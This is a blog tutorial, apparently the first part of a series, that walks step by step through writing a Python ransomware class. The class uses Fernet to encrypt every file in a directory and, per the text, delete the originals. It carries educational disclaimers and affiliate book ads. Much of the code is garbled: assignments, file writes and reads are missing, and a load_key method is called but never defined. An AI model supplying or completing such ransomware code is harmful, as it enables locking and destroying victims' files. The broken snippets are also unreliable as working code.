Creating Ransomware with Python | Part 1


In this article, we will provide a step-by-step guide to creating a simple ransomware using Python. Ransomware is a type of malicious software that encrypts a user’s files, locking access to them. However, the ransomware we create in this article is for educational purposes only, to improve coding skills and raise awareness about cybersecurity, not for malicious use.

Learning Objectives

Learning Objectives:

  • Learn how to write ransomware using file handling capabilities in Python.
  • Understand how to encrypt files using the cryptography library.
  • Gain awareness of basic cybersecurity concepts.

A Brief Look at Ransomware

Ransomware has become increasingly popular among cybercrimes in recent years. It can damage personal and corporate data, leading to significant financial losses. To protect against ransomware attacks, it is essential to use security software, perform regular backups, and be a conscious user. For more information, you can check the Ransomware Prevention and Education article.

Let’s Start Coding

We will go through the process of writing ransomware using the Python programming language step by step. This ransomware will encrypt files in a specified directory and then delete the original files. We will use the Fernet module from the cryptography library for the encryption process.

Amazon Product
Programming Symbols Stickers

Python Programming for Hackers and Pentesters

Fully-updated for Python 3, the second edition of this worldwide bestseller (over 100,000 copies sold) explores the stealthier side of programming and brings you all new strategies for your hacking projects

-5% $22.95 on Amazon

Step 1: Import Necessary Libraries

import os
from cryptography.fernet import Fernet

Step 2: Create the Ransomware Class

class Ransomware:
    def __init__(self, directory): = directory
        self.key = self.generate_key()

The Ransomware class takes a specified directory and generates an encryption key. Once the key is generated, it is displayed on the screen.

Step 3: Generate and Display the Key

    def generate_key(self):
        key = Fernet.generate_key()
        with open("encryption.key", "wb") as key_file:
        return key

    def display_key(self):
        print(f"Encryption key: {self.key.decode()}")

The generate_key method generates a Fernet key and saves it to a file. The display_key method displays the generated key on the screen.

Step 4: Encrypt the File

    def encrypt_file(self, file_path, key):
        fernet = Fernet(key)
        with open(file_path, "rb") as file:
            file_data =

        encrypted_data = fernet.encrypt(file_data)

        with open(file_path + ".encrypted", "wb") as encrypted_file:


The encrypt_file method encrypts the specified file and deletes the original file. A Fernet key is used for the file encryption process.

Amazon Product
Programming Symbols Stickers

A Practical Introduction to Modern Encryption

This practical guide to modern encryption breaks down the fundamental mathematical concepts at the heart of cryptography without shying away from meaty discussions of how they work.

-10% $32.83 on Amazon

Step 5: Encrypt the Directory

    def encrypt_directory(self):
        key = self.load_key()
        for filename in os.listdir(
            file_path = os.path.join(, filename)
            if os.path.isfile(file_path):
                self.encrypt_file(file_path, key)
        print("Files have been successfully encrypted.")

The encrypt_directory method encrypts all files in the specified directory. The encrypt_file method is called for each file(FileCryptor: Encrypting And Decrypting Files).

Step 6: Usage Example

# Usage example
ransomware = Ransomware("myexample/")

This demonstrates the usage of the code. An instance of the Ransomware class is created, and the files in the specified directory are encrypted.


In this article, we learned the steps to create a simple ransomware using Python. However, it is strongly advised against using this code for malicious purposes in the real world. Instead, understanding how such malicious software works and learning how to protect against it is essential. Additionally, this experience provides an opportunity to improve your Python programming skills and raise awareness about cybersecurity topics.

Leave a Comment

Join our Mailing list!

Get all latest news, exclusive deals and academy updates.